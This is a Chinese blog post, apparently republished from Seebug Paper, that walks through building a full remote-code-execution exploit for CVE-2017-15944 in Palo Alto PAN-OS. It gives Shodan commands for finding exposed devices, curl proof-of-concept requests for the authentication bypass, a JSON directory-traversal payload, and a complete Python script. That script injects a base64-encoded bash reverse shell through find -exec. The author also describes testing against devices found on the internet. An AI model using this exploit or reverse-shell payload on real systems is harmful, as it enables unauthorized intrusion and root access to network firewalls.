作者:棟棟的棟
作者博客:https://d0n9.github.io

在 exploit-db 看到 CVE-2017-15944 這個漏洞,三處漏洞打出的組合拳導致最后命令執行,三環缺一不可,最喜歡這樣變廢為寶的利用,但是在復現構造EXP還是遇到不少“坑”,本文記錄一下填坑的過程….

exploit-db 地址 https://www.exploit-db.com/exploits/43342/

該漏洞影響范圍還是很廣泛的,但是并沒有看到有人放出EXP,最多只是PoC或者省去了很坑的命令執行漏洞。

<=PAN-OS 6.1.18
<=PAN-OS 7.0.18
<=PAN-OS 7.1.13
<=PAN-OS 8.0.5

三處漏洞分別為:權限繞過,任意目錄創建,命令執行

不過命令執行部分的詳細內容原作者并沒有給出,只有 Payload ,而且還執行不成功,手頭也沒有設備,只好硬著頭皮去 Shodan 找到環境,一點點摸索嘗試構造 EXP

$ shodan download search 'Location: /php/login.php port:"4443"' limit 3000
$ shodan parse --fields ip_str search.json.gz

原作者給出了權限繞過的 PoC

imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
<!DOCTYPE html>
<html><head><title>Moved Temporarily</title></head>
<body><h1>Moved Temporarily</h1>
<p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php
">here</a>.</p>
<address>PanWeb Server/ -  at 127.0.0.1:28250 Port 80</address></body>
</html>
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '
10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'
@start@Success@end@
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
2>/dev/null|head -30
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
http://www.w3.org/TR/html4/loose.dtd";>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <title>Debug Console</title>

這一步的漏洞詳情描述最復雜,英文閱讀能力跟不上看地也是云里霧里的…

PoC 就很簡單了,其實這個漏洞總結一句話就是可以設置任意 cookie 繞過頁面的權限認證

先訪問 /php/utils/debug.php ,然而訪問 /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27”;user|s.”1337”; 再訪問/php/utils/debug.php便繞過了認證

任意目錄創建使用前面設置的cookie POST JSON 請求到 /php/utils/router.php/Administrator.get,如果成功便會在/opt/pancfg/session/pan/user_tmp/{cookie value}/{jobid}.xml 創建一個目錄和臨時文件,目錄就是下面Payload的cookie值,可以用../跳目錄,jobid 是應該是創建的任務,在response中會返回。

{"action":"PanDirect","method":"execute","data":
["07c5807d0d927dcd0980f86024e5208b","Administrator.get",
{"changeMyPassword":true,"template":"asd","id":"admin']\"
async-mode='yes' refresh='yes'
cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}

我在測試的時候遇到一個小問題,復制的payload 一直返回 {“type”:”exception”,”tid”:””,”message”:”Call to undefined class: “} ,這就很尷尬了,因為我既沒有設備也沒有代碼,只能確定這肯定是一個報錯,但并不知道怎么解決。

emmmm,檢查之后發現一處“坑”

標紅線的位置應該要有空格的,但是由于是copy的原因,空格可能就被換行替代了

如果看到這樣的response返回那么就是成功了

其實命令執行漏洞也要配合這里任意創建目錄才能完成攻擊,但是最關鍵的細節卻被原隱藏了

大概知道環境是crontab 執行腳本,兩個腳本之間調用(genindex_batch.sh 調用 genindex.sh),$PAN_BASE_DIR/logdb/$dir/1 是出現漏洞的代碼,大概是$dir可控,但是文中提到的find卻不知道是何作用。

不過好在原作者給出了EXP示例

* -print -exec python -c exec("[base64 code..]".decode("base64")) ;

熟悉find命令的同學肯定知道 -print -exec 的作用,不熟悉也沒有關系,可以man find進行查看,

猜測genindex.sh腳本使用 find 并且目錄可控,不過在這里犯了一個致命的錯誤,因為在命令構造的時候是在終端測試,所以要加單引號雙引號不然會報錯,前面說過Payload是JOSN,所以又要考慮引號轉義的問題,這里抓頭了一陣。

意識到錯誤之后便在sh腳本中測試命令,因為這里是隱式的命令執行,所以要利用oob的方式進行驗證,要注意命令并不會立即執行,因為存在命令執行的文件是genindex.sh,而且是 genindex_batch.sh 進行調用,genindex_batch.sh 又是crontab 每隔15分鐘執行一次,所以到等觸發時間,這里需要注意命令可能會被多次執行,拿到shell看到源碼才知道原來命令執行的地方是一個for循環。

ok,可以嘗試一下寫webshell,直接執行echo肯定是不行的,特殊符號問題。

所以要使用編碼,原作者也是使用的這種方式,不過編碼有一個特別不好的地方是長度會增加,因為這里是其實是創建文件夾,Linux文件名稱最長可支持到255個字符(characters)

漏洞發現者是寫webshell拿到的權限,這樣權限是nobody,屬于低權限,想要root權限就用反彈shell

下面給出 EXP

#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64

requests.packages.urllib3.disable_warnings()
session = requests.Session()

def step3_exp(lhost, lport):
    command = base64.b64encode('''exec("import os; os.system('bash -i >& /dev/tcp/{}/{} 0>&1')")'''.format(lhost, lport))
    exp_post = r'''{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes'  cookie='../../../../../../../../../tmp/* -print -exec python -c exec(\"'''+ command + r'''\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid": 713}'''
    return exp_post

def exploit(target, port):
    step1_url = 'https://{}:{}/php/utils/debug.php'.format(target, port)
    step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
    step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)

    try:
        if session.get(step1_url, verify=False).status_code == 200:
            if session.get(step2_url, verify=False).status_code == 200:
                r = session.get(step1_url, verify=False)
        if 'Debug Console' in r.text:
            print '[+] bypass success'
            lhost = raw_input('[*] LHOST: ')
            if lhost:
                print '[+] set LHOST = {}'.format(lhost)
                lport = raw_input('[*] LPORT: ')
            else:
                exit('[!] LHOST invalid')
            if lport:
                print '[+] set LPORT = {}'.format(lport)
            else:
                exit('[!] LPORT invalid')
            exp_post = step3_exp(lhost, lport)
            rce = session.post(step3_url, data=exp_post).json()
            if rce['result']['@status'] == 'success':
                print '[+] success, please wait ... '
                print '[+] jobID: {}'.format(rce['result']['result']['job'])
            else:
                exit('[!] fail')
        else:
            exit('[!] bypass fail')
    except Exception, err:
        print err


if __name__ == '__main__':
    if len(sys.argv) <= 3:
        exploit(sys.argv[1], sys.argv[2])
    else:
        exit('[+] usage: python CVE_2017_15944_EXP.py IP PORT')

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/540/